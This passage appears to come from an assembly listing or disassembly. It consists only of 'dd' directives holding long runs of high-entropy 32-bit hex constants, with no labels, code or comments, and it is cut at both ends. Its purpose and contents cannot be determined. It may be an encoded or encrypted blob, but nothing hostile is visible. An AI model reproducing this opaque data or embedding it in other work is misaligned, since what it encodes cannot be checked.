180FF801h, 0DE105EFAh dd 55C8472Bh, 806A7622h, 271E8317h, 48272CE2h, 6C803479h dd 7475B5C1h, 0F1AE4BF1h, 0A2AC2340h, 17B93065h, 81AFA93Bh dd 0B67318A8h, 372F58E5h, 0D8534BA0h, 567C58h, 0F7D77D1Eh dd 58729002h, 84A5B75Ah, 7FC072EEh, 20253D8Ah, 8BC9497h dd 0AF3F571Ch, 0BD0044EAh, 0BB00DCB7h, 0C41F9575h, 6F390BF9h dd 60D9CB29h, 9181679h, 38CAC704h, 0D0BCF120h, 599C04DEh dd 5ADC8318h, 0B6D0BCFCh, 8D22DDEh, 9DC068EDh, 4F7E88A3h dd 2F5491BEh, 5C4B3F21h, 0C410C747h, 0AE51608Bh, 0F89154BEh dd 26CF12D4h, 0A100F712h, 99FCF75Ch, 0DC200681h, 21F4032Dh dd 7862E700h, 354256ABh, 2A9809B9h, 0F87A04DEh, 1A0A4D05h dd 70EC8407h, 6FDBF405h, 648F9A7h, 34BD9D96h, 0EB898A8h dd 0EFDC2C94h, 0F44A07A4h, 3AE95C40h, 448218DEh, 2D76DAAh dd 7E6BD588h, 0AF028C24h, 7A13E199h, 41950F8h, 9B3FFF99h dd 45438054h, 732087C7h, 9A81023Bh, 95831A33h, 0BED490D7h dd 27D6306Ah, 11D1C739h, 57EDF813h, 34C8988Fh, 2A881C9h dd 8E3A6DBAh, 0C015C81Ch, 0EE83EB4Dh, 0BC905E4Fh, 80280996h dd 0E00044DEh, 5E295FFFh, 60F7198Ch, 0D727D982h, 9BD8BD3h dd 7034DB64h, 3B5A162Fh, 2B182CC2h, 84915C97h, 0D5AC780h dd 0C60A7442h, 0BBAAB743h, 0B472A602h, 7CE4E9h, 0AC79D175h dd 89568180h, 0A9E30500h, 828F3DA5h, 220EA08h, 0D7EB8825h dd 0C5A32F6h, 0B73E125h, 0C70C4D18h, 0A4F6C01Fh, 7A029C8Ch dd 0E2D7D44Fh, 77DCCA2Fh, 70356891h, 480059ECh, 7F60CD3Eh dd 3C2CA41h, 534F6BCFh, 5927A368h, 5EC05228h, 819C8540h dd 3D47A9B4h, 0F8300120h, 4990286h, 0BD9E7600h, 0F204E65h dd 3660B47Ah, 82D9C907h, 0EE135B01h, 7F9BD427h, 0AC6871E5h dd 8C7BBCh, 85806F31h, 5AE2A0C0h, 12D47905h, 28CE72DAh dd 81C07A88h, 543058h, 5F481CECh, 29390DBAh, 11509D95h dd 34B68065h, 50FC03EDh, 2EBDE137h, 84C03195h, 1214A6EFh dd 4C4C18F6h, 718C1DB8h, 994F0E6Fh, 2C829726h, 0A4F81274h dd 5429B612h, 0DA5B04E6h, 0FABE8084h, 0B7DC10B0h, 18910897h dd 0A8D64D80h, 2C2435D0h, 46748427h, 17B60032h, 0A5EA13Eh dd 1A2C0973h, 0AC008F93h, 68584FB5h, 28A544h, 81AF6040h dd 0B5051C21h, 0C41C4D95h, 9C20FB8Ch, 7C4E6Fh, 0A418BB7h dd 51C381D0h, 0E44BC128h, 81034620h, 80E9E1D4h, 0D2DCD16Ah dd 18B0074h, 0EAAF355Bh, 38ACE118h, 8C1AECF8h, 504AD73h dd 31912586h, 82A022AFh, 2F130060h, 22B48101h, 0D7E22A40h dd 89246C7Ch, 5C2D09F4h, 8311E435h, 0D54FED80h, 87008A12h dd 48390EBFh, 509B018Ch, 20B63481h, 31013A55h, 1A245F98h dd 20909B8Bh, 49651088h, 40DA3627h, 0D36D640Eh, 571287BBh dd 83F0EE40h, 778603A5h, 0BC27A0C6h, 0DB8ABDB8h, 54BF7207h dd 270C222h, 9CD70FF7h, 7ABD82B8h, 610556C6h, 1F109CEDh dd 0EF107C2Bh, 0E9CE1EAEh, 97678240h, 0CD69BDFEh, 2FD07399h dd 54003C35h, 0D189861Eh, 94699F2Bh, 0F08B6E3Ch, 99C01AC8h dd 5587436h, 2A59C16h dd 81C8438Fh, 0BD906E19h, 921FC831h, 4A80D8E1h, 0A2BEB4BCh dd 503CE522h, 2436C107h, 5A99B276h, 0E88AF46Ah, 969B0858h dd 8CC75D00h, 0B947043h, 9AA06FD8h, 3DBFC448h, 0CA250E25h dd 5E40DC0Ch, 941C1446h, 7B150010h, 77395EC2h, 0D0C891B7h dd 0C6096D08h, 0E206D110h, 0DC28DE64h, 0AAE6CD00h, 377B5DDAh dd 81941E29h, 0BDB41373h, 25AACC0h, 8A3EEBA4h, 64EAC719h dd 76446CF4h, 0D110D746h, 31CF0C26h, 464E6900h, 7F3CDD04h dd 834712B9h, 0B180049Fh, 46ED1E5Dh, 7CF55C1Ch, 41B67217h dd 0BD1C2BCCh, 54627BE7h, 0F1B8794Eh, 9F51889h, 0B9682BD4h dd 85969890h, 0C835D524h, 5F4C6AA5h, 0B100C8B7h, 0BA819739h dd 8CE702F1h, 360AA31Eh, 8B0990F0h, 74C7BD13h, 3208DCC0h dd 803B3721h, 0C47AB38h, 0E90FE3B7h, 43C59D65h, 0B87518B6h dd 924E1EA4h, 0C5405A38h, 56CA97Ch, 72A0F666h, 20B91CFDh dd 0F264CD1h, 950BA86Dh, 0ADC8D938h, 0C5003435h, 0F303596Fh dd 8C5C005Dh, 55FF2038h, 0D0B682CFh, 84E87E00h, 2F23ED8Dh dd 8065EEDEh, 2F4EBB91h, 728C7300h, 8B9D0238h, 0F2CFD5CCh dd 4E2F7856h, 71A8B18Ch, 5231197Bh, 7380BBFCh, 0BC9026E7h dd 6CA0272Ch, 4AC02921h, 58CC4C4Bh, 5FD8FB39h, 0DAE2FB7h dd 8264A867h, 27B2F660h, 7048C80Eh, 36014503h, 89811CE8h dd 0D8657F82h, 1C0911E4h, 8A2ABDEFh, 983F54AEh, 0AB91B319h dd 54EECC1h, 6860F108h, 596000A2h, 94DB3E82h, 0AFEA0208h dd 6F8B128Ch, 7C7800CCh, 16EE8BE9h, 38E8BD23h, 2485B47h dd 0CB19C3A0h, 20684B86h, 0DCAA9CACh, 0BBC6A00h, 1AB03D08h dd 0D2A71876h, 0B5FE4815h, 2EFC1D59h, 7A048CACh, 0A8F2891Fh dd 12308BF2h, 0EEC01358h, 0B808E9E6h, 12D63C46h, 7F004F40h dd 3D4B0B91h, 15B3AFh, 33AB8C18h, 0D22B7824h, 7ABCBE0Bh dd 0BE8213Ah, 0A82C43EAh, 62C1A200h, 8428E8B1h, 91489795h dd 58EC8066h, 1A9107Bh, 0F79C0344h, 3E54295Fh, 0A73B46Bh dd 0EBD433D5h, 8846748Ch, 0B34EDD00h, 0CCC8ABF2h, 0A7C72B02h dd 542852ECh, 37467C6Ch, 76BE7702h, 74DC39B6h, 685E1900h dd 2DBF5224h, 0B401627Ah, 7ABE6F90h, 91D6A449h, 0F4213CBCh dd 7D96BFCh, 0BA981B3Fh, 5F6510DFh, 0AD0481A6h, 51E43C13h dd 453420AFh, 0C816B5D8h, 0A0A60E1Fh, 646340E2h, 810F9480h dd 0FD56750Ah, 2E00FAB0h, 10E8BCB1h, 712669D5h, 71663082h dd 289CA852h, 17BECDCh, 11C2C059h, 0F5020440h, 4FDC39F8h dd 18C8A0CBh, 846601C3h, 2782EBC0h, 174E148Fh, 3C09BC7Fh dd 0E8221F63h, 0A5018EC3h, 0B433063Fh, 0CC3165A2h, 0FA5A25F4h dd 76A30594h, 40434986h, 0E67973F8h, 0A75E987h, 0F502806h dd 416AEAh, 88919318h, 0C09F8A5Ah, 0C6097A05h, 40EEAF5Dh dd 0F474810Ch, 0F5673A4h, 0C46DF0E8h, 508F000Bh, 4B6686CDh dd 0BE4A682Ah, 9E166CB2h, 0F11C9015h, 6B2FFF32h, 733C0B22h dd 0C2DB587Ch, 77A9EC00h, 8E76E5FCh, 34205E95h, 887C8B68h dd 29A1C085h, 950214EAh, 1BEBA6DFh, 68925FFFh, 465E087Eh dd 0F9A72563h, 0D4E08970h, 6411649Dh, 8060280h, 0EFA05453h dd 0E225299Ah, 16FC8EA7h, 0E52B1420h, 2C5C00E0h, 25FA4B9Ch dd 0AA336FA5h, 804121FFh, 0B5F0CFD1h, 7AC234E8h, 0C75BC783h dd 61911E6Ch, 5D63C2Ch, 89C99C37h, 106CCF20h, 0B9D24786h dd 0CDA8BCh, 8A4DA1DAh, 0EA91EF19h, 66AC0297h, 0F98B0164h dd 4B5C388Fh, 0AAE088A6h, 0F602AC8Fh, 0BE74D56Dh, 0D8B46A91h dd 7C4CB46Ch, 0C90F8246h, 8C80F8A1h, 7974A827h, 0E98A3106h dd 1EB08713h, 0EC4E22BDh, 3924818Ch, 2C5EFC7Ah, 8C18ECD0h dd 0C08D6100h, 588CBF42h, 0FA2209A5h, 24D41F6Dh, 0EDD16A9Ah dd 12F9C074h, 5805FA2Bh, 3CD52D4h, 1800F0EDh, 4606363Bh dd 0E601B0DBh, 247A985Bh, 5432E89Eh, 0DA8D8103h, 0AC0367Dh dd 0AE387C8Ch, 0CF55046Bh, 64BD25DEh, 8FA74B74h, 0CE328808h dd 69B27080h, 20250E8Eh, 0BC454C8h, 105C57EDh, 70E473ADh dd 88001B9Fh, 58CBD652h, 55030A26h, 4823A8AEh, 13083A2h dd 0C1A100F7h, 0A85EB421h, 861338ECh, 4CA83B45h, 7111D4C0h dd 6C9EB99Eh, 0C0104D25h, 0A6B5E0F6h, 870E0200h, 0AB4E8C59h dd 58FF259Ch, 20BC1878h, 7EA02CD6h, 27A0AABh, 67E301E0h dd 0D06EC318h, 54520DEBh, 3088F28Ch, 0B4E616D8h, 0CA72A212h dd 0F501E892h, 1CC4F8ABh, 6FC04655h, 8F80BCDBh, 85951526h dd 0A53B9100h, 18CCBBAh, 9C3AE7A7h, 0EE0EF57Ch, 92F37478h dd 6C1C4C6Fh, 0C2091FADh, 3AEA065Ah, 0C83338F4h, 0F09907FCh dd 0C0D84CBFh, 0AA2CEE6h, 9C07F64Ah, 2A82CDE4h, 0C488ABF2h dd 159061Ch, 8A849115h, 0E5FA1001h, 43D4C5A3h, 0D22C9068h dd 1CFB49D4h, 263CE470h, 8BC41D6h, 139279C6h, 32F2D0A2h dd 211730h, 0E304AA3Eh, 2436C2AEh, 0C080EDB5h, 6FD3E012h dd 60EDD12Fh, 9FD99368h, 0C1C1A407h, 2A515D13h, 4500F8F2h dd 53BAA456h, 0D61209EAh, 10A29B4Ch, 7FE2007Bh, 0AF52540h dd 5703299Dh, 2671C7CEh, 88A68B64h, 9B128FBh, 583323E8h dd 0F0411876h, 49AF5182h, 0E60AC009h, 0ABD30022h, 8D96E031h dd 0D0423F5Fh, 8021DDC1h, 0CFD460F4h, 0E4819766h, 0D77185FEh dd 1BE2801h, 9F022A6Eh, 27040474h, 48E8EA6Dh, 0A20BC921h dd 0F2C5A84Fh, 22D20A8h, 0B5B6AC0Bh, 3E84F125h, 0B0235B7Dh dd 7B4A3914h, 89BA7CD2h, 7CCC428h, 902C2451h, 0B07D403Dh dd 5200E971h, 36338DA0h, 50F045A5h, 3FDE1C8Eh, 0B6822CF9h dd 138C4175h, 51B40777h, 93A3E26h, 8362222Bh, 0ECF45C0Bh dd 8FF04C40h, 4E110180h, 107F90CDh, 0C0E4575Fh, 0C75D4CB7h dd 30784C9Bh, 5CA602BEh, 41D710C7h, 390944D8h, 1205FC20h dd 0DCE07408h, 30C1D300h, 0A06C2AB4h, 0EE8B08A7h, 0F8302C4Eh dd 4A169Bh, 0FFEBDC60h, 907B1A33h, 8CD2BCA2h, 9A4A0943h dd 569E8028h, 98DF7E9h, 0B0939524h, 5325F47Eh, 2FBC58E0h dd 6D7A3612h, 6FC09A1Fh, 0F0241DF7h, 98CB5984h, 12EF5C0Bh dd 1BBD9C50h, 0F2CF90FCh, 4418C935h, 0DBB6FC80h, 88091C2Ch dd 40DD8676h, 49D7D4D8h, 5E0394FEh, 655091C0h, 0F7579AE0h dd 3579CCA8h, 0AE5199C3h, 4C2D513h, 0F6F0D67Dh, 0F83F5E01h dd 5A71ED27h, 593087D3h, 16F14F82h, 0A61E8B9Dh, 0D2C0E734h dd 97EBBA74h, 9AAB4E9h, 4051BEF0h, 0A74B105Bh, 4CE4C4D0h dd 0F691054Ah, 0B3320995h, 44E64E38h, 6B76BFA0h, 11CD1700h dd 0F5803F01h, 40E8370Fh, 0D20BA9h, 0B555EF07h, 0C04F49F6h dd 0CF948574h, 0E60D024Eh, 0A67D8972h, 3288907Fh, 1AC500A1h dd 0BC0F51C6h, 0B2178565h, 80B3AAB8h, 298A2388h, 66071079h dd 0B6C510D4h, 78203CB5h, 85512739h, 6DA7E873h, 0F87A4088h dd 18B1BB8Eh, 671885D1h, 6A4CC901h, 372CE458h, 0BCDA7C40h dd 68FA003Bh, 7AD82E9Eh, 0E4BD32A1h, 4290074h, 2B21A37Dh dd 5100D780h, 59AB2FF3h, 44376963h, 9304B426h, 6FF8C92Ah dd 56A117C2h, 0F98A4168h, 0E0C02B83h, 27524889h, 64F2D7D6h dd 11174CA0h, 0B9604102h, 0A096225Ch, 0A7D653A8h, 340E970Eh dd 802622DDh, 0A5000963h, 0D2EB50DFh, 223800C7h, 1BC41431h dd 1A62CA70h, 950B79h, 0D6614E17h, 320AB719h, 90101051h dd 0CCF61841h, 0AF47FE00h, 861BBDC4h, 5430059Dh, 0ECFD9676h dd 9CE25FDCh, 29406200h dd 19C49247h, 690FF900h, 7AEC464Bh, 8B2C028Ah, 894D8C59h dd 1DCFC76h, 0B0C59184h, 0D0D135E8h, 7E0038AAh, 0CE218654h dd 5008029Ch, 58D0F9h, 1F2E2882h, 21F1DE67h, 0D2EBCC38h dd 3086E23Ch, 0A903E999h, 8C90680Bh, 0A70015Bh, 0BD9C7B2Bh dd 2CD22ED1h, 9424F01Ch, 500F4D8h, 0CA1D11E8h, 0BFBBD22Ah dd 705B50C1h, 0E7B775FCh, 62146468h, 24C257C7h, 1960187Eh dd 12FEE5E3h, 0AC4C7BCAh, 2D4B80B4h, 0E087E07h, 0DEE340E4h dd 0E2BE3301h, 176DC850h, 34908E4Eh, 41A1B5F4h, 10C13F5Bh dd 60CAECE9h, 83588D7Ch, 88899DAAh, 3D640D4h, 0A26CCA22h dd 97E19CC8h, 39A1C76Bh, 0BB24447Dh, 13D89818h, 8D2274Fh dd 0A7080D3h, 319A0377h, 0F1EDBAC6h, 7B115805h, 388E51C1h dd 0AFC03788h, 0B980F0ACh, 0EE8E058Ch, 28D8EC0Eh, 130FC84Fh dd 81730575h, 66C6B0A1h, 2FBF5020h, 90202AA2h, 8CB3EA33h dd 0AC8FE95Ah, 1DC164C8h, 55C401A3h, 83DF3E3Eh, 7F80A1CEh dd 31234C3Bh, 9C8E013Bh, 9EEFD635h, 72C40E2Ah, 0D3F08AA2h dd 0A5A0840h, 473522Ch, 825EF943h, 0B0B7D523h, 86DFB301h dd 306041A7h, 886F499Eh, 0C0FC9A4Fh, 0A284AD91h, 895E250Ah dd 0A3FDA085h, 4F298488h, 0B62233Eh, 981E8532h, 0FCBED12Eh dd 0C0C44DADh, 816321AAh, 1CF00690h, 6CE4BDh, 849D13D0h dd 616E2D3Bh, 93D35700h, 50755258h, 76382489h, 4205C9A0h dd 0AF0C828Ch, 524824DFh, 1B8BD0A0h, 1893AB01h, 0A3BDDCA3h dd 301DE248h, 1903909Dh, 2C63890Dh, 0B0B4D8FCh, 0CE62DBCh dd 34A57804h, 23A828ADh, 0D16FCE00h, 11984EFh, 0F8449D83h dd 5ECC6554h, 789EBF2Fh, 0B6740860h, 2A3C3089h, 7A58A0ACh dd 35151070h, 4BE0B81Eh, 10507BE8h, 11AC1FBDh, 0F97E8018h dd 0BF17B7C9h, 8F9C3CE0h, 79683535h, 946EFAh, 1F858B69h dd 740CADDFh, 2ABC089Eh, 0C70A6726h, 396C84D1h, 4A221743h dd 2AA4ED68h, 0BF0EF0DFh, 778FE202h, 0C1E814F9h, 91ED2A01h dd 0F4AA6FB2h, 8627643Dh, 0C5C88818h, 3830EF5Ah, 0EF27E18Ah dd 9694912Fh, 0EB1C3471h, 0DEFC0D4Bh, 4194E05Eh, 60A0E54Bh dd 0BDD1C47Dh, 0D4CCFCECh, 44D34B24h, 0FC2FE189h, 452818A8h dd 741AD00Bh, 89F93E03h, 0A44BA76Ch, 0B81C10BAh, 0BEBCC45Ah dd 0F700686Bh, 7CFC0ADDh, 0FB610B36h, 88BE22A1h, 5EB0AC40h dd 0BD207D39h, 7BB23C02h, 54E903h, 796E2B49h, 9637063Dh dd 42E7650Eh, 38CE615Eh, 0C1800272h, 769B32F8h, 5C4EF1BEh dd 20AEC20h, 68099D63h, 7427F4C4h, 0E478E5C4h, 0C396637Bh dd 1FB79891h, 97741EF3h, 0C8D067BEh, 0A63740h, 5AECC5AAh dd 0BF61800Fh, 48283838h, 62E613C4h, 0D43454F1h, 0B9961375h dd 5B58B22Bh, 16F210B2h, 4CF27030h, 62264CAh, 0D1685100h dd 0EF7C60EEh, 0B4135AF6h, 0BEF0EB4Ch, 2BC1A59h, 4D7BAD51h dd 1DB890EAh, 3CE773F2h, 4B01A8A0h, 31F02750h, 6C887FAFh dd 0ECE2BD45h, 106294C1h, 4D72D2h, 0B5F8F6C6h, 8B8DA877h dd 47ED5D00h, 591A3D55h, 0B9271AC8h, 30784088h, 0CF789C93h dd 39517674h, 20BAF6Fh, 38461811h, 0DC48BCh, 0D9E97F6Fh dd 7A69C63Dh, 3382C702h, 181EB1Ah, 2FF12839h, 6AFBDC75h dd 0C4530050h, 0D42E1D52h, 11183A10h, 0A24CB3DBh, 3DF03366h dd 0B804A972h, 6B6E019Ch, 0E9AC5CF9h, 21186702h, 41CDE56Ch dd 9100724h, 80ABF7E2h, 52415EFAh, 20C52F2Fh, 1C46EFFh dd 21D1658Fh, 0EC70553Bh, 10F8060h, 8B30F071h, 0E9B1E152h dd 0C9334FD4h, 6CDB6E54h, 30AFCF87h, 0E1E96F8Bh, 0BB138C38h dd 37522D3Dh, 5E170070h, 61E8BBAh, 0DE14AD00h, 0AAF201E1h dd 0F8591C9Bh, 0F88D153Ch, 0C900273Ch, 83BF8E62h, 0B13B1719h dd 0A68481D7h, 8AC3A913h, 827BB3EDh, 0D040897Ch, 0CE20BE8Dh dd 0B1477C18h, 3EFA0014h, 5D03268Fh, 5310DCB4h, 44DC7D8Bh dd 64FD1264h, 23282E92h, 99ED0217h, 0A863E8BDh, 0DC0223B2h dd 0B305AEBh, 2A9BC058h, 0C4BEB056h, 963CA0D6h, 36E48Ch dd 594C99DBh, 22B258Dh, 0F85D8A28h, 0A45EF65Ah, 6AD4E1F2h dd 0A5A47B4Ch, 13DCC4F4h, 0F8D47BB5h, 0C5338084h, 99F167h dd 0F719B463h, 38EA1EBDh, 0AD882C01h, 919FF98Ah, 0DDF0C452h dd 43151C98h, 0E44A8BFEh, 89C80CCBh, 6031DCC1h, 0E850346Fh dd 56A28010h, 3F13FAB3h, 2703209Fh, 0EB4E3553h, 0CA76E2B0h dd 42D995Bh, 40CBE430h, 0AA5F0380h, 8423F43Eh, 58A2AE00h dd 6135721h, 2ABDD12Ch, 88B0585Eh, 73391E12h, 18073037h dd 0F0EBC480h, 4C8C0559h, 0F05E7AE1h, 137FD97Ch, 0E8EC854Ch dd 0DA078C1Ah, 8ECAABEBh, 0E7E980EFh, 274E4805h, 0ACDBC174h dd 0F765C70h, 5BF3D9D5h, 60A236h, 54E31291h, 524EDEBh dd 612FFC7Bh, 0CE31C0E1h, 1D4A8676h, 0F03D78A1h, 0C0DB52A2h dd 3D54D4D8h, 283446Fh, 41395D96h, 7174C3Bh, 13C5EA53h dd 98FC12BEh, 6272A381h, 98CB3B88h, 30B88C48h, 774B028Ch dd 38A815C3h, 298890F5h, 8CD3161Ah, 97E4E2E9h, 0E9A8E4A9h dd 125B952Eh, 8D44481Fh, 10A483F0h, 0E2A55F68h, 0D71280A0h dd 7DF9BCD0h, 7C8501AFh, 91087823h, 0AC3839B4h, 0E8DF4B9Ch dd 8C30BCF8h, 26011174h, 22A36F52h, 0C0286C62h, 3CFE1907h dd 999F428Ah, 583D7Dh, 0C937E8DBh, 179F652Dh, 808391A8h dd 37160148h, 45EECD0h, 8EF0C9E0h, 0A7D6456Ah, 0F61849AEh dd 70D0C08Bh, 0A6E0DE0Eh, 7451ABDFh, 0F200DC04h, 8F33919Ch dd 0BEED7748h, 30465E14h, 6E22C200h, 74881D15h, 0C1BD9E25h dd 0F337E0h, 0FD14F429h, 0CC599070h, 0D1E81C02h, 0E00258BCh dd 4B8AB8B3h, 0F76040D6h, 122251BEh, 4B819403h, 8003E731h dd 9D295FF8h, 4CC0E4EDh, 5C021B0h, 0D9E3B5B7h, 0BFB0707Fh dd 94800D0Eh, 23C520B5h, 5A2DEFF8h, 2770441Fh, 74E63EBDh dd 0EF7E8605h, 6EEA3AB7h, 0A1B316A0h, 0F8203CBCh, 1F107195h dd 7C5B82F3h, 15C1B445h, 59D0E85Dh, 0B9F9CE05h, 78B272D9h dd 0C46DB527h, 0CB8ABE60h, 3F461CE3h, 20C8221h, 0B806957Fh dd 78452FF0h, 0FAA1C8C0h, 952188h, 10B3BED7h, 0BB598B8Eh dd 2A2D4D0Fh, 478D6072h, 55D7D591h, 8E2AA8B6h, 0C07BC8C8h dd 0D2B9EF45h, 82DCC306h, 954857ECh, 69C0F8EDh, 17B483F5h dd 4673F3Dh, 102B7A50h, 400C04A4h, 6EFE08D2h, 0AC3D0028h dd 14EE38E1h, 78799749h, 5A00501Dh, 4E3F67B0h, 456D0778h dd 710D5B6h, 1E84E12Eh, 0CB2B27h, 6EC089C8h, 1FA417h, 0CB2B326Fh dd 5A7521BBh, 0BB51E038h, 95849AFh, 6654AE39h, 0F0415AF8h dd 0B61274DCh, 9CB94871h, 7BB824D4h, 8CEA008Ch, 192BFBA9h dd 664827D2h, 0DF92218h, 34ADBE76h, 0A8CD2A68h, 85887C0Bh dd 92331DC0h, 7EF709DBh, 34057651h, 4ED0B710h, 6323702Fh dd 0BC6FCD05h, 2E0ECC8h, 7AA2BED4h, 805F8B82h, 63F34C98h dd 4C507907h, 0A40A4E5Fh, 272489F0h, 9B1F8459h, 6B48A680h dd 0BB3C7Eh, 0CF15B07Bh, 58626384h, 5DC8C295h, 0D66440CFh dd 0A1A20A83h, 0CB7B57DFh, 76BD05F8h, 50F6F71Fh, 36B66FE0h dd 8CA37001h, 821ACBABh, 221C8E7Eh, 0DE66005Eh, 0EBE1BA01h dd 194E8ECFh, 8C79E03Bh, 9D024E16h, 0F35EB0BCh, 3188E208h dd 27A33017h, 0AE2AA309h, 9740F978h, 0F81CBCA6h, 0C0008C18h dd 0D47F0A59h, 0F93CD110h, 0F7718852h, 6CA3C819h, 91A52C40h dd 50C84F3Fh dd 1C4FB7B4h, 1418260h, 0F2B7178Fh, 9370E860h, 941BC900h dd 638E1Ah, 0DC5AC23Bh, 1CA6CF59h, 26D7D609h, 98507811h dd 9B8B223Ch, 191AF69h, 7AE15B1Ch, 0C98B0ADh, 67501A03h dd 0E18718h, 4B11BE74h, 5204D15Eh, 0D8CC6B27h, 198D1096h dd 0BF5B023Ch, 55661202h, 5BE4C06Bh, 5D310010h, 0C94BB687h dd 0BD086DB9h, 371AE22h, 0E0297381h, 2CF6284Bh, 0B6E649E0h dd 95CCA501h, 3A4D8E76h, 2ACCC96Bh, 16C8188Bh, 299415C0h dd 0F8754A39h, 4485DD90h, 0E8B440C1h, 5B848741h, 88A8CA22h dd 0E8B09002h, 0D86268BEh, 0DC4CBC62h, 9180E091h, 0B9B4E9B0h dd 0FB062735h, 6740F04Fh, 399D92Eh, 0A7C2C3F4h, 8AF2280Eh dd 6FF59D61h, 54021CD1h, 98316100h, 0C058CD97h, 68595ECDh dd 9D67A15h, 21180794h, 0E049B9C8h, 4A336043h, 0E0D8E69Bh dd 0E85C4DE0h, 0A5222D0Ah, 75723860h, 7C4B48B4h, 1103DCA8h dd 0FA492510h, 5FE8AAE0h, 0FC155CC6h, 3082604h, 0D6E5EBF4h dd 6AE1000Fh, 5DB9A137h, 920F0CEAh, 4052F312h, 0D7EBFACCh dd 22362805h, 0D0211E20h, 527D71Eh, 0AB7B0750h, 49A5C53h dd 7CFCA5C0h, 6302EA48h, 2AA2A83Dh, 7CCF68Ah, 68A3E189h dd 54C75D09h, 5E00DCF4h, 7C15A03Ah, 0B4C2BBh, 530A324Eh dd 6D681C34h, 7ECBD403h, 882C28F2h, 1FB20201h, 4176903h dd 0C083DDECh, 3667CDA2h, 0BCAF7F00h, 0D45C7ECFh, 1FD900EBh dd 80DB5530h, 0C3664CD8h, 21E708h, 531FD20Eh, 0A170498Ch dd 1A36E900h, 313C56FEh, 86B400E4h, 0A99D8A5Bh, 0F407DC45h dd 0B5059103h, 0D0BADDC3h, 0DDEFE9Fh, 0E08D14CAh, 8EDFE930h dd 0E0445CB0h, 0E9BB3079h, 0A4030F01h, 3A802F7Fh, 0BA6C338Bh dd 26F03C7Dh, 0F82B420h, 97B69ECBh, 0F8B00820h, 0A066FFCFh dd 1F219908h, 0C797AEC0h, 0EFAFD2BDh, 32BE56E3h, 0C6454380h dd 5DCD630Eh, 0BD670159h, 0E3CCBAD3h, 0DE767B4Eh, 0A868D540h dd 0DC92B900h, 823D2B8h, 729B7100h, 0E593A8B2h, 9480001h dd 84382936h, 5101DE58h, 0F23118A3h, 18862F8Ah, 2030B993h dd 72F889F0h, 6215FA01h, 0A2ECBAE5h, 401180F0h, 5800293Ch dd 0C182F2DDh, 332D53D0h, 4E08C8B9h, 0D5792101h, 0F0601AF2h dd 3E3D11C4h, 61E0BB93h, 39C5F5B4h, 0EA401201h, 95220C26h dd 0C9E18980h, 0AD622BFBh, 0F3E6B900h, 44ED8186h, 0D54F01CBh dd 22015A98h, 42318E90h, 0FB2800EEh, 2EDC667Ch, 3AE4DD6Ah dd 89299983h, 0F90F336Ch, 0E0FB824Fh, 885C75B8h, 86D66B0h dd 70002148h, 0C5C6FB7Ah, 17515EBh, 931054A2h, 0BB3969B7h dd 0D53806B8h, 7C92D17h, 89479149h, 33A8F0B2h, 8CC7CAAh dd 0FC6A2140h, 34600047h, 0E03E9326h, 376C3D31h, 8C8EA071h dd 0E2FB8704h, 49629DB8h, 0FB7F7520h, 0F3F03D2h, 0E42E9EFAh dd 6270598h, 0F107860Ah, 7F11D429h, 81F2DC80h, 448CC8C1h dd 0D400784Ch, 41C390F2h, 112147FDh, 33188Bh, 0EC713146h dd 17ECDE2h, 5D735F35h, 87EFAF3Fh, 4939C141h, 2495389Ch dd 112411B5h, 0C38F012Ch, 3CEB2674h, 93C0B3F0h, 0ED443B00h dd 83790D7Dh, 6D1B827Ah, 9CC88437h, 86F2E160h, 11F0C123h dd 0D97D1254h, 6A00481Eh, 8D281285h, 0D87A6F59h, 0EC5AA1B8h dd 63C12D08h, 0AF3E0631h, 9E064186h, 4712270Fh, 4180ED11h dd 9E9DA5Bh, 4000209Bh, 0BB2643CDh, 90A015DEh, 6D9714A0h dd 8DC8E861h, 0E1FB86C0h, 229546B8h, 7E740045h, 0AD6F9EFBh dd 0E5140F98h, 5805206h, 3B65C532h, 2C09014h, 284347E9h dd 81AE1B5h, 0A98E3FF1h, 0E4C06977h, 0B43EF83Bh, 0F819B1E5h dd 8E0033C1h, 6537BDF0h, 3AD0505Fh, 55562h, 0A918571Fh dd 0A7F8B494h, 44BAE418h, 20F5AA80h, 54495A55h, 0B4930A58h dd 0B7BBE065h, 0FC169C2h, 39A612EDh, 61C20EAh, 207B2FEEh dd 0A4002987h, 0D92EC89h, 333C4D84h, 0A0087405h, 81C62100h dd 0D198C9ECh, 128006D9h, 608FA53Bh, 4265F622h, 3B6C15EEh dd 487102A4h, 7FCF94F0h, 3D557660h, 0BA938E13h, 2DED3830h dd 2EE28032h, 9069BF14h, 863450E0h, 0F2E30E8Ch, 5409C188h dd 7F046C96h, 9B07F2DBh, 0E3DEB9C2h, 24871F5h, 0A3222814h dd 28908284h, 0C1F4F2DFh, 6953E021h, 0A1F2AF87h, 329A0AFBh dd 3043F208h, 0CCFD86F6h, 0BA02332Ah, 12C4ADB7h, 4988942h dd 9760DB58h, 0B2238F47h, 3F4611B4h, 0E85870h, 0CE66BD30h dd 20A98D0h, 416C19AEh, 28403205h, 0CA1950EDh, 0D9606379h dd 47099518h, 9CA4B28Dh, 0EC6E4A88h, 9EFE019Fh, 6DE65292h dd 2431F370h, 0A0049821h, 0E14A0797h, 0BE39DDEh, 8182FE00h dd 5807DAC9h, 4D1991EDh, 6ACD0D20h, 0D774A144h, 8B47E419h dd 1194B223h, 6C3F41h, 0DBB2C447h, 3A5A53C0h, 5C48A5BDh dd 8EC08088h, 460D97ECh, 9F22ACh, 0AAEC86CBh, 0EAB16BEBh dd 0F44A7901h, 5E3909C1h, 0DEBA9840h, 0CCE9D4C9h, 783EB510h dd 83305A02h, 4842132Fh, 1077E08h, 0A5286976h, 0CD802A6Dh dd 9909104Dh, 79F76FE0h, 12BC0414h, 10895930h, 4AE92Eh dd 8F9E76C3h, 0E3519BF6h, 2CE2B0Eh, 0B6FFE02Ch, 36DD479h dd 439AB478h, 8E80FDEEh, 400AC5Ch, 0B3CF90DAh, 4FC920h dd 0C50F43AFh, 0A7096098h, 24823A00h, 337A3806h, 0FE4900FDh dd 0DF23CEB3h, 0BE006D13h, 0C8557DBBh, 3824A541h, 0BD864D91h dd 71B54598h, 0A3CDBF00h, 9EB9A70Bh, 0F7FE0303h, 0E9A212A5h dd 1CD31EC8h, 76A7401h, 26812741h, 1A6CC0h, 0DFFEA868h dd 0EE5F9ECFh, 4077B9EEh, 598BB207h, 0BCF0AFB1h, 98E0DCB4h dd 9C2358DEh, 70655700h, 0D596DB5Ah, 0D422BD1Fh, 4E528A40h dd 737499E8h, 92534CC9h, 0C6182F07h, 0C41A1035h, 0F338FE3Fh dd 0EB86805Bh, 9B42DB53h, 9A982CFDh, 